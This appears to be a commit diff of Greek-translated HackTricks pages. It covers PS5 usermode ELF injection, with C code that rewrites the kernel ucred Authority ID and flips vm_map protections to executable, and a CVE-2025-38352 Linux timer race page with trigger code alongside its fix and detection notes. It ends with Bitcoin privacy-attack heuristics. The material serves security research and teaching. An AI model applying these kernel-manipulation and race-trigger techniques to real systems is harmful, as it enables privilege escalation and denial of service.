Στο PS5, το struct ucred περιλαμβάνει ένα πεδίο Authority ID προσβάσιμο μέσω proc->p_ucred. Η εγγραφή του debugger Authority ID χορηγεί ptrace/mdbg πάνω σε άλλες διεργασίες:
```c
void set_ucred_to_debugger(){
struct proc* proc = get_proc_by_pid(getpid());
if (proc){
uintptr_t authid = 0; // read current (optional)
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
free(proc);
}
}
```
- Offset 0x58 είναι συγκεκριμένο για την οικογένεια firmware του PS5 και πρέπει να επαληθευτεί ανά έκδοση.
- Μετά από αυτή τη write, ο injector μπορεί να επισυνάψει και να instrument διαδικασίες χρήστη μέσω ptrace/mdbg.
## Παράκαμψη RW-only user mappings: vm_map PROT_EXEC flip
Η Userland mmap μπορεί να περιορίζεται σε PROT_READ|PROT_WRITE. Το FreeBSD παρακολουθεί το address space μιας διεργασίας σε ένα vm_map από κόμβους vm_map_entry (BST plus list). Κάθε entry φέρει τα πεδία protection και max_protection:
```c
struct vm_map_entry {
struct vm_map_entry *prev,*next,*left,*right;
vm_offset_t start, end, avail_ssize;
vm_size_t adj_free, max_free;
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
int wired_count; vm_pindex_t lastr;
};
```
With kernel R/W you can locate the targets vm_map and set entry->protection |= PROT_EXEC (and, if needed, entry->max_protection). Practical implementation notes:
- Walk entries either linearly via next or using the balanced-tree (left/right) for O(log n) search by address range.
- Pick a known RW region you control (scratch buffer or mapped file) and add PROT_EXEC so you can stage code or loader thunks.
- PS5 SDK code provides helpers for fast map-entry lookup and toggling protections.
This bypasses userlands mmap policy by editing kernel-owned metadata directly.
## Remote Function Invocation (RFI) with ptrace
Το FreeBSD δεν έχει Windows-style VirtualAllocEx/CreateRemoteThread. Αντίθετα, ωθήστε τον στόχο να καλέσει συναρτήσεις στον ίδιο υπό έλεγχο ptrace:
1. Συνδεθείτε στον στόχο και επιλέξτε ένα thread· PTRACE_ATTACH ή PS5-specific mdbg flows μπορεί να ισχύουν.
2. Αποθηκεύστε το context του thread: registers, PC, SP, flags.
3. Γράψτε τα argument registers σύμφωνα με το ABI (x86_64 SysV ή arm64 AAPCS64), ορίστε το PC στη στοχευόμενη συνάρτηση, και προαιρετικά τοποθετήστε επιπλέον args/stack όπως χρειάζεται.
4. Εκτελέστε single-step ή continue μέχρι ένα ελεγχόμενο stop (π.χ. software breakpoint ή signal), έπειτα διαβάστε τις τιμές επιστροφής από regs.
5. Επαναφέρετε το αρχικό context και συνεχίστε.
Use cases:
- Call into an in-process ELF loader (e.g., elfldr_load) with a pointer to your ELF image in target memory.
- Invoke helper routines to fetch returned entrypoints and payload-args pointers.
Example of driving the ELF loader:
```c
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
intptr_t args = elfldr_payload_args(target_pid);
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
```
Ο loader χαρτογραφεί segments, επιλύει imports, εφαρμόζει relocations και επιστρέφει το entry (συχνά ένα CRT bootstrap) καθώς και έναν αδιαφανή pointer payload_args που ο stager σας περνάει στο main() του payload.
## Πολυνηματικός stager και καθαρό detach
Ένας ελάχιστος stager μέσα στον στόχο δημιουργεί ένα νέο pthread που εκτελεί το main του ELF και στη συνέχεια προκαλεί int3 για να σηματοδοτήσει στον injector να αποσυνδεθεί:
```c
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
pthread_t thread;
functions->pthread_create_ptr(&thread, 0,
(void*(*)(void*))functions->elf_main, functions->payload_args);
asm("int3");
return 0;
}
```
- Οι δείκτες SCEFunctions/payload_args παρέχονται από το loader/SDK glue.
- Μετά το breakpoint και το detach, το payload συνεχίζει σε δικό του thread.
## Ολοκληρωμένη ροή από άκρο σε άκρο (PS5 reference implementation)
Μια λειτουργική υλοποίηση διατίθεται ως ένας μικρός TCP injector server συν ένα client script:
- Ο NineS server ακούει στο TCP 9033 και λαμβάνει ένα header που περιέχει το target process name, ακολουθούμενο από το ELF image:
```c
typedef struct __injector_data_t{
char proc_name[MAX_PROC_NAME];
Elf64_Ehdr elf_header;
} injector_data_t;
```
- Χρήση Python client:
```bash
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
```
Παράδειγμα Hello-world payload (logs to klog):
```c
#include <stdio.h>
#include <unistd.h>
#include <ps5/klog.h>
int main(){
klog_printf("Hello from PID %d\n", getpid());
return 0;
}
```
## Πρακτικές παρατηρήσεις
- Offsets and constants (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) είναι ειδικά ανά firmware και πρέπει να ενημερώνονται σε κάθε έκδοση.
- Οι προστασίες του hypervisor επιβάλλουν data-only kernel writes· μην επιχειρήσετε να κάνετε patch το CR0.WP ή το CR4.SMEP.
- JIT memory είναι εναλλακτική: μερικές διεργασίες εκθέτουν PS5 JIT APIs για να allocate executable pages. Το vm_map protection flip αφαιρεί την ανάγκη να βασιστείτε σε JIT/mirroring tricks.
- Κρατήστε το register save/restore ανθεκτικό· σε περίπτωση αποτυχίας μπορεί να προκαλέσετε deadlock ή crash στο target.
## Public tooling
- PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
- ELF loader: https://github.com/ps5-payload-dev/elfldr
- Injector server: https://github.com/buzzer-re/NineS/
- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
- Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
## References
- [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/)
- [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk)
- [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr)
- [buzzer-re/NineS](https://github.com/buzzer-re/NineS/)
- [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils)
- [Mira](https://github.com/OpenOrbis/mira-project)
- [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv)
- [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,19 +1,19 @@
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}
Αυτή η σελίδα τεκμηριώνει έναν TOCTOU race condition σε Linux/Android POSIX CPU timers που μπορεί να αλλοιώσει την κατάσταση του timer και να προκαλέσει crash στον kernel, και υπό κάποιες συνθήκες να οδηγηθεί σε privilege escalation.
Αυτή η σελίδα τεκμηριώνει μια TOCTOU race condition σε Linux/Android POSIX CPU timers που μπορεί να καταστρέψει την κατάσταση του timer και να προκαλέσει crash στον kernel, και υπό ορισμένες συνθήκες να οδηγηθεί προς privilege escalation.
- Affected component: kernel/time/posix-cpu-timers.c
- Primitive: expiry vs deletion race under task exit
- Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
- Πρωτογενές: expiry vs deletion race under task exit
- Εξαρτάται από ρυθμίσεις: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
Σύντομη ανακεφαλαίωση εσωτερικών (relevant for exploitation)
- Τρία CPU clocks χειρίζονται την καταγραφή για timers μέσω cpu_clock_sample():
Σύντομη ανασκόπηση εσωτερικών (relevant for exploitation)
- Τρία ρολόγια CPU χειρίζονται τη λογιστική για τα timers μέσω cpu_clock_sample():
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: utime only
- CPUCLOCK_SCHED: task_sched_runtime()
- Η δημιουργία timer συνδέει έναν timer με ένα task/pid και αρχικοποιεί τους timerqueue κόμβους:
- Η δημιουργία timer συνδέει ένα timer με ένα task/pid και αρχικοποιεί τους κόμβους του timerqueue:
```c
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
@ -27,7 +27,7 @@ rcu_read_unlock();
return 0;
}
```
- Η ενεργοποίηση εισάγει σε ένα per-base timerqueue και μπορεί να ενημερώσει την next-expiry cache:
- Το Arming εισάγει εγγραφές σε per-base timerqueue και μπορεί να ενημερώσει την next-expiry cache:
```c
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
@ -37,7 +37,7 @@ if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
```
- Η γρήγορη διαδρομή αποφεύγει δαπανητική επεξεργασία εκτός αν οι cached expiries υποδεικνύουν πιθανή ενεργοποίηση:
- Fast path αποφεύγει τη δαπανηρή επεξεργασία εκτός εάν οι cached expiries υποδεικνύουν πιθανή εκτέλεση:
```c
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
@ -50,7 +50,7 @@ return true;
return false;
}
```
- Η λήξη συλλέγει τους ληγμένους χρονοδιακόπτες, τους επισημαίνει ως ενεργοποιημένους, τους μετακινεί εκτός της ουράς; η πραγματική παράδοση αναβάλλεται:
- Η λήξη συλλέγει τους ληγμένους timers, τους σημειώνει ως firing, τους απομακρύνει από την ουρά· η πραγματική παράδοση αναβάλλεται:
```c
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
@ -69,8 +69,8 @@ return U64_MAX;
}
```
Δύο τρόποι επεξεργασίας λήξης
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: η επεξεργασία λήξης αναβάλλεται μέσω task_work στην target task
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: η επεξεργασία λήξης γίνεται απευθείας στο IRQ context
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: η λήξη αναβάλλεται μέσω του task_work στη στοχευόμενη εργασία
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: η λήξη χειρίζεται απευθείας στο πλαίσιο IRQ
```c
void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
@ -90,7 +90,7 @@ lockdep_posixtimer_exit();
}
#endif
```
Στο μονοπάτι IRQ-context, η firing list επεξεργάζεται εκτός του sighand
Στο IRQ-context path, η firing list επεξεργάζεται έξω από το sighand.
```c
static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
@ -114,44 +114,44 @@ spin_unlock(&timer->it_lock);
}
}
```
Root cause: TOCTOU μεταξύ της λήξης σε χρόνο IRQ και ταυτόχρονης διαγραφής κατά την έξοδο του task
Βασική αιτία: TOCTOU μεταξύ IRQ-time expiry και ταυτόχρονης διαγραφής κατά την έξοδο του task
Preconditions
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK είναι απενεργοποιημένο (χρησιμοποιείται το IRQ path)
- Ο target task τερματίζει αλλά δεν έχει reaped πλήρως
- Ένα άλλο thread καλεί ταυτόχρονα posix_cpu_timer_del() για τον ίδιο timer
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
- Ο στοχευόμενος task εξέρχεται αλλά δεν έχει συλλεχθεί πλήρως (reaped)
- Ένα άλλο νήμα καλεί ταυτόχρονα posix_cpu_timer_del() για τον ίδιο timer
Sequence
1) update_process_times() ενεργοποιεί run_posix_cpu_timers() σε IRQ context για το task που τερματίζει.
1) update_process_times() ενεργοποιεί run_posix_cpu_timers() στο context του IRQ για το task που εξέρχεται.
2) collect_timerqueue() θέτει ctmr->firing = 1 και μετακινεί τον timer στη προσωρινή λίστα firing.
3) handle_posix_cpu_timers() αποδεσμεύει το sighand μέσω unlock_task_sighand() για να παραδώσει timers έξω από το lock.
4) Άμεσα μετά το unlock, το τερματιζόμενο task μπορεί να reaped· ένα sibling thread εκτελεί posix_cpu_timer_del().
5) Σε αυτό το παράθυρο, posix_cpu_timer_del() μπορεί να αποτύχει να αποκτήσει state μέσω cpu_timer_task_rcu()/lock_task_sighand() και έτσι να παραλείψει τον κανονικό in-flight guard που ελέγχει timer->it.cpu.firing. Η διαγραφή προχωρά σαν να μην είναι firing, διαφθείροντας το state ενώ η expiry χειρίζεται, οδηγώντας σε crashes/UB.
3) handle_posix_cpu_timers() απελευθερώνει sighand μέσω unlock_task_sighand() για να παραδώσει τους timers εκτός του lock.
4) Αμέσως μετά το unlock, το task που εξέρχεται μπορεί να συλλεχθεί (reaped); ένα αδελφό νήμα εκτελεί posix_cpu_timer_del().
5) Σε αυτό το παράθυρο, posix_cpu_timer_del() μπορεί να αποτύχει να αποκτήσει state μέσω cpu_timer_task_rcu()/lock_task_sighand() και έτσι να παρακάμψει το κανονικό in-flight guard που ελέγχει timer->it.cpu.firing. Η διαγραφή προχωρά σαν να μην είναι firing, διαφθείροντας την κατάσταση ενώ η λήξη χειρίζεται, οδηγώντας σε crashes/UB.
Why TASK_WORK mode is safe by design
- Με CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, η expiry αναβάλλεται στο task_work· το exit_task_work τρέχει πριν το exit_notify, οπότε δεν συμβαίνει η χρονική επικάλυψη IRQ με το reaping.
- Ακόμα κι έτσι, αν το task ήδη τερματίζει, το task_work_add() αποτυγχάνει· το gating στο exit_state καθιστά και τις δύο modes συνεπείς.
- Με CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, η expiry αναβάλλεται στο task_work; το exit_task_work τρέχει πριν από το exit_notify, οπότε η επικαλυπτόμενη περίοδος IRQ-time με το reaping δεν συμβαίνει.
- Ακόμα κι έτσι, αν το task ήδη εξέρχεται, το task_work_add() αποτυγχάνει; το gating στο exit_state καθιστά και τις δύο λειτουργίες συνεπείς.
Fix (Android common kernel) and rationale
- Προσθέστε έγκαιρη επιστροφή εάν το current task τερματίζει, περιορίζοντας όλη την επεξεργασία:
- Προσθέστε πρώιμο return αν το current task εξέρχεται, αποκλείοντας όλη την επεξεργασία:
```c
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
```
- Αυτό αποτρέπει την είσοδο σε handle_posix_cpu_timers() για exiting tasks, εξαλείφοντας το παράθυρο όπου η posix_cpu_timer_del() θα μπορούσε να χάσει το it.cpu.firing και να ανταγωνιστεί με την επεξεργασία λήξης.
- Αυτό αποτρέπει την είσοδο σε handle_posix_cpu_timers() για εργασίες που τερματίζουν, εξαλείφοντας το παράθυρο όπου posix_cpu_timer_del() θα μπορούσε να το χάσει it.cpu.firing και να κάνει race με την επεξεργασία λήξης.
Impact
- Η καταστροφή μνήμης του kernel στις δομές timer κατά την ταυτόχρονη λήξη/διαγραφή μπορεί να προκαλέσει άμεσες καταρρεύσεις (DoS) και αποτελεί ισχυρό primitive προς privilege escalation λόγω ευκαιριών για αυθαίρετη χειραγώγηση της κατάστασης του kernel.
- Η διαφθορά μνήμης του kernel σε δομές των timer κατά τη διάρκεια ταυτόχρονης λήξης/διαγραφής μπορεί να οδηγήσει σε άμεσα crashes (DoS) και αποτελεί ισχυρό primitive προς privilege escalation λόγω ευκαιριών για αυθαίρετο χειρισμό της κατάστασης του kernel.
Triggering the bug (safe, reproducible conditions)
Build/config
- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
Runtime strategy
- Στοχεύστε ένα thread που πρόκειται να τερματιστεί και επισυνάψτε σ' αυτό έναν CPU timer (per-thread ή process-wide clock):
- Στοχεύστε ένα νήμα που πρόκειται να τερματίσει και επισυνάψτε σε αυτό έναν CPU timer (per-thread ή process-wide clock):
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
- Οπλίστε με πολύ μικρή αρχική λήξη και μικρό διάστημα για να μεγιστοποιηθούν οι IRQ-path entries:
- Arm with a very short initial expiration and small interval to maximize IRQ-path entries:
```c
static timer_t t;
static void setup_cpu_timer(void) {
@ -165,17 +165,17 @@ its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
```
- Από ένα αδελφικό νήμα, διαγράψτε ταυτόχρονα τον ίδιο timer ενώ το νήμα-στόχος τερματίζεται:
- Από ένα sibling thread, διαγράψτε ταυτόχρονα τον ίδιο timer ενώ ο target thread τερματίζεται:
```c
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
```
- Παράγοντες επιδείνωσης race condition: υψηλός ρυθμός scheduler tick, φορτίο CPU, επαναλαμβανόμενοι κύκλοι εξόδου/επαναδημιουργίας thread. Το crash συνήθως εμφανίζεται όταν posix_cpu_timer_del() παραλείπει να αντιληφθεί ότι έχει fired λόγω αποτυχίας στην αναζήτηση/κλείδωμα task αμέσως μετά το unlock_task_sighand().
- Race amplifiers: υψηλός ρυθμός tick του scheduler, φόρτος CPU, επαναλαμβανόμενοι κύκλοι τερματισμού/επανδημιουργίας νημάτων. Το crash εμφανίζεται συνήθως όταν posix_cpu_timer_del() παραλείπει την ανίχνευση firing λόγω αποτυχίας task lookup/locking αμέσως μετά το unlock_task_sighand().
Detection and hardening
- Mitigation: εφαρμόστε το exit_state guard· προτιμήστε την ενεργοποίηση του CONFIG_POSIX_CPU_TIMERS_TASK_WORK όταν είναι εφικτό.
- Observability: προσθέστε tracepoints/WARN_ONCE γύρω από unlock_task_sighand()/posix_cpu_timer_del(); ειδοποιήστε όταν it.cpu.firing==1 παρατηρείται μαζί με αποτυχία cpu_timer_task_rcu()/lock_task_sighand(); παρακολουθήστε για ασυμφωνίες στο timerqueue γύρω από την έξοδο task.
- Mitigation: εφαρμόστε το exit_state guard; προτιμήστε την ενεργοποίηση του CONFIG_POSIX_CPU_TIMERS_TASK_WORK όταν είναι εφικτό.
- Observability: προσθέστε tracepoints/WARN_ONCE γύρω από unlock_task_sighand()/posix_cpu_timer_del(); ειδοποιήστε όταν παρατηρείται it.cpu.firing==1 σε συνδυασμό με αποτυχημένα cpu_timer_task_rcu()/lock_task_sighand(); παρακολουθήστε ασυνέπειες στο timerqueue γύρω από το exit μιας task.
Audit hotspots (for reviewers)
- update_process_times() → run_posix_cpu_timers() (IRQ)
@ -192,4 +192,4 @@ Notes for exploitation research
- [Android security bulletin September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,178 +1,186 @@
# Blockchain και Crypto-Currencies
# Blockchain and Crypto-Currencies
{{#include ../../banners/hacktricks-training.md}}
## Βασικές Έννοιες
- **Smart Contracts** ορίζονται ως προγράμματα που εκτελούνται σε ένα blockchain όταν πληρούνται ορισμένες προϋποθέσεις, αυτοματοποιώντας την εκτέλεση συμφωνιών χωρίς μεσάζοντες.
- **Decentralized Applications (dApps)** χτίζονται πάνω σε smart contracts, με φιλικό προς τον χρήστη front-end και διαφανές, ελέγξιμο back-end.
- **Tokens & Coins** διακρίνονται στο ότι τα coins λειτουργούν ως ψηφιακό χρήμα, ενώ τα tokens αντιπροσωπεύουν αξία ή ιδιοκτησία σε συγκεκριμένα πλαίσια.
- **Utility Tokens** παρέχουν πρόσβαση σε υπηρεσίες, και **Security Tokens** δηλώνουν ιδιοκτησία περιουσιακού στοιχείου.
- **Smart Contracts** ορίζονται ως προγράμματα που εκτελούνται σε ένα blockchain όταν πληρούνται ορισμένες προϋποθέσεις, αυτοματοποιώντας την εκτέλεση συμφωνιών χωρίς ενδιάμεσους.
- **Decentralized Applications (dApps)** βασίζονται σε smart contracts, διαθέτοντας ένα φιλικό προς τον χρήστη front-end και ένα διαφανές, ελεγχόμενο back-end.
- **Tokens & Coins** διαφοροποιούνται, όπου τα coins λειτουργούν ως ψηφιακό χρήμα, ενώ τα tokens αντιπροσωπεύουν αξία ή ιδιοκτησία σε συγκεκριμένα πλαίσια.
- **Utility Tokens** παρέχουν πρόσβαση σε υπηρεσίες, και **Security Tokens** δηλώνουν ιδιοκτησία σε περιουσιακό στοιχείο.
- **DeFi** σημαίνει Decentralized Finance, προσφέροντας χρηματοοικονομικές υπηρεσίες χωρίς κεντρικές αρχές.
- **DEX** και **DAOs** αναφέρονται σε Decentralized Exchange Platforms και Decentralized Autonomous Organizations, αντίστοιχα.
## Μηχανισμοί Συμφωνίας (Consensus Mechanisms)
## Μηχανισμοί Συμφωνίας
Οι μηχανισμοί συναίνεσης διασφαλίζουν την ασφαλή και συμφωνημένη επικύρωση συναλλαγών στο blockchain:
Οι μηχανισμοί συμφωνίας εξασφαλίζουν την ασφαλή και συμφωνημένη επικύρωση συναλλαγών στο blockchain:
- **Proof of Work (PoW)** βασίζεται στην υπολογιστική ισχύ για την επαλήθευση συναλλαγών.
- **Proof of Stake (PoS)** απαιτεί από validators να κατέχουν ένα συγκεκριμένο ποσό tokens, μειώνοντας την κατανάλωση ενέργειας σε σχέση με το PoW.
- **Proof of Stake (PoS)** απαιτεί από τους validators να κατέχουν ένα συγκεκριμένο ποσό tokens, μειώνοντας την κατανάλωση ενέργειας σε σχέση με το PoW.
## Bitcoin: Βασικά
## Βασικά Στοιχεία του Bitcoin
### Συναλλαγές
Οι Bitcoin συναλλαγές περιλαμβάνουν τη μεταφορά κεφαλαίων μεταξύ διευθύνσεων. Οι συναλλαγές επικυρώνονται μέσω ψηφιακών υπογραφών, διασφαλίζοντας ότι μόνο ο κάτοχος του private key μπορεί να ξεκινήσει μεταφορές.
Οι συναλλαγές Bitcoin περιλαμβάνουν τη μεταφορά κεφαλαίων μεταξύ διευθύνσεων. Οι συναλλαγές επικυρώνονται μέσω ψηφιακών υπογραφών, διασφαλίζοντας ότι μόνο ο κάτοχος του ιδιωτικού κλειδιού μπορεί να ξεκινήσει μεταφορές.
#### Κύρια Συστατικά:
- **Multisignature Transactions** απαιτούν πολλαπλές υπογραφές για την εξουσιοδότηση μιας συναλλαγής.
- Οι συναλλαγές αποτελούνται από **inputs** (πηγή των κεφαλαίων), **outputs** (προορισμός), **fees** (πληρώνονται στους miners) και **scripts** (κανόνες συναλλαγών).
- Οι συναλλαγές αποτελούνται από **inputs** (πηγή κεφαλαίων), **outputs** (προορισμός), **fees** (καταβάλλονται στους miners) και **scripts** (κανόνες συναλλαγής).
### Lightning Network
Στοχεύει στη βελτίωση της κλιμάκωσης του Bitcoin επιτρέποντας πολλαπλές συναλλαγές εντός ενός καναλιού, μεταδίδοντας στο blockchain μόνο την τελική κατάσταση.
Σκοπός του είναι να βελτιώσει την κλιμάκωση του Bitcoin επιτρέποντας πολλαπλές συναλλαγές μέσα σε ένα κανάλι, μεταδίδοντας στο blockchain μόνο την τελική κατάσταση.
## Ζητήματα Ιδιωτικότητας στο Bitcoin
## Προβλήματα Ιδιωτικότητας στο Bitcoin
Οι επιθέσεις στην ιδιωτικότητα, όπως το **Common Input Ownership** και η **UTXO Change Address Detection**, εκμεταλλεύονται πρότυπα συναλλαγών. Στρατηγικές όπως οι **Mixers** και το **CoinJoin** βελτιώνουν την ανωνυμία θολώνοντας τους συνδέσμους συναλλαγών μεταξύ χρηστών.
Επιθέσεις στην ιδιωτικότητα, όπως **Common Input Ownership** και **UTXO Change Address Detection**, εκμεταλλεύονται πρότυπα συναλλαγών. Στρατηγικές όπως **Mixers** και **CoinJoin** βελτιώνουν την ανωνυμία καλύπτοντας τους δεσμούς συναλλαγών μεταξύ χρηστών.
## Ανάκτηση Bitcoins Ανώνυμα
## Απόκτηση Bitcoins Ανώνυμα
Μέθοδοι περιλαμβάνουν συναλλαγές με μετρητά, mining και χρήση mixers. Το **CoinJoin** αναμειγνύει πολλαπλές συναλλαγές για να περιπλέξει την ιχνηλασιμότητα, ενώ το **PayJoin** καλύπτει τα CoinJoins ως κανονικές συναλλαγές για αυξημένη ιδιωτικότητα.
Μέθοδοι περιλαμβάνουν ανταλλαγές με μετρητά, mining και χρήση mixers. **CoinJoin** αναμειγνύει πολλαπλές συναλλαγές για να περιπλέξει την ανιχνευσιμότητα, ενώ **PayJoin** εξαντλεί CoinJoins ως κανονικές συναλλαγές για αυξημένη ιδιωτικότητα.
# Bitcoin Privacy Επιθέσεις
# Bitcoin Privacy Atacks
# Περίληψη των Επιθέσεων στην Ιδιωτικότητα του Bitcoin
Στον κόσμο του Bitcoin, το απόρρητο των συναλλαγών και η ανωνυμία των χρηστών είναι συχνά αντικείμενα ανησυχίας. Ακολουθεί μια απλοποιημένη επισκόπηση μερικών κοινών μεθόδων με τις οποίες οι επιτιθέμενοι μπορούν να υπονομεύσουν την ιδιωτικότητα στο Bitcoin.
Στον κόσμο του Bitcoin, η ιδιωτικότητα των συναλλαγών και η ανωνυμία των χρηστών συχνά απασχολούν. Ακολουθεί μια απλοποιημένη επισκόπηση αρκετών κοινών μεθόδων με τις οποίες οι επιτιθέμενοι μπορούν να υπονομεύσουν την ιδιωτικότητα του Bitcoin.
## **Common Input Ownership Assumption**
Γενικά είναι σπάνιο inputs από διαφορετικούς χρήστες να συνδυάζονται σε μία συναλλαγή λόγω της πολυπλοκότητας. Επομένως, **δύο διευθύνσεις εισόδου στην ίδια συναλλαγή συχνά θεωρούνται ότι ανήκουν στον ίδιο ιδιοκτήτη**.
Είναι γενικά σπάνιο τα inputs από διαφορετικούς χρήστες να συνδυάζονται σε μία συναλλαγή λόγω της πολυπλοκότητας που εμπλέκεται. Έτσι, **δύο input διευθύνσεις στην ίδια συναλλαγή συχνά υποτίθεται ότι ανήκουν στον ίδιο κάτοχο**.
## **UTXO Change Address Detection**
Μια UTXO, ή **Unspent Transaction Output**, πρέπει να δαπανηθεί ολόκληρη σε μια συναλλαγή. Αν μόνο ένα μέρος της αποστέλλεται σε μια άλλη διεύθυνση, το υπόλοιπο πηγαίνει σε μια νέα change address. Οι παρατηρητές μπορούν να υποθέσουν ότι αυτή η νέα διεύθυνση ανήκει στον αποστολέα, θέτοντας σε κίνδυνο το απόρρητο.
Ένα UTXO, ή **Unspent Transaction Output**, πρέπει να ξοδευτεί ολόκληρο σε μια συναλλαγή. Αν μόνο ένα μέρος του αποστέλλεται σε άλλη διεύθυνση, το υπόλοιπο πηγαίνει σε μια νέα change address. Οι παρατηρητές μπορούν να υποθέσουν ότι αυτή η νέα διεύθυνση ανήκει στον αποστολέα, υπονομεύοντας την ιδιωτικότητα.
### Παράδειγμα
Για να μετριαστεί αυτό, υπηρεσίες mixing ή η χρήση πολλαπλών διευθύνσεων μπορούν να βοηθήσουν στο να θολωθεί η ιδιοκτησία.
Για να μετριαστεί αυτό, υπηρεσίες mixing ή η χρήση πολλαπλών διευθύνσεων μπορούν να βοηθήσουν στην απόκρυψη της ιδιοκτησίας.
## **Έκθεση σε Social Networks & Forums**
## **Social Networks & Forums Exposure**
Οι χρήστες μερικές φορές μοιράζονται τις Bitcoin διευθύνσεις τους online, καθιστώντας εύκολο να **συνδέσει κάποιος τη διεύθυνση με τον κάτοχο**.
Οι χρήστες μερικές φορές μοιράζονται τις Bitcoin διευθύνσεις τους online, καθιστώντας **εύκολο να συνδεθεί η διεύθυνση με τον κάτοχό της**.
## **Ανάλυση Γράφου Συναλλαγών (Transaction Graph Analysis)**
## **Transaction Graph Analysis**
Οι συναλλαγές μπορούν να απεικονιστούν ως γράφοι, αποκαλύπτοντας πιθανές συνδέσεις μεταξύ χρηστών με βάση τη ροή των κεφαλαίων.
Οι συναλλαγές μπορούν να απεικονιστούν ως γράφοι, αποκαλύπτοντας πιθανές συνδέσεις μεταξύ χρηστών με βάση τη ροή κεφαλαίων.
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
Αυτή η ευρετική βασίζεται στην ανάλυση συναλλαγών με πολλαπλά inputs και outputs για να μαντέψει ποιο output είναι η αλλαγή που επιστρέφει στον αποστολέα.
Αυτός ο heuristic βασίζεται στην ανάλυση συναλλαγών με πολλαπλά inputs και outputs για να μαντέψει ποιο output είναι το change που επιστρέφει στον αποστολέα.
### Παράδειγμα
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Εάν η προσθήκη περισσότερων εισροών κάνει το output της αλλαγής μεγαλύτερο από οποιοδήποτε μεμονωμένο input, αυτό μπορεί να μπερδέψει την ευρετική.
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
## **Forced Address Reuse**
Οι επιτιθέμενοι μπορεί να στείλουν μικρά ποσά σε προηγουμένως χρησιμοποιημένες διευθύνσεις, ελπίζοντας ότι ο παραλήπτης θα συνδυάσει αυτά τα inputs με άλλες εισροές σε μελλοντικές συναλλαγές, συνδέοντας έτσι διευθύνσεις μεταξύ τους.
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
### Correct Wallet Behavior
Τα πορτοφόλια θα πρέπει να αποφεύγουν τη χρήση νομισμάτων που έχουν ληφθεί σε ήδη χρησιμοποιημένες, κενές διευθύνσεις για να προλάβουν αυτή την privacy leak.
Τα πορτοφόλια πρέπει να αποφεύγουν τη χρήση coins που έχουν ληφθεί σε ήδη χρησιμοποιημένες, άδειες διευθύνσεις, για να αποτρέπουν αυτό το privacy leak.
## **Other Blockchain Analysis Techniques**
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
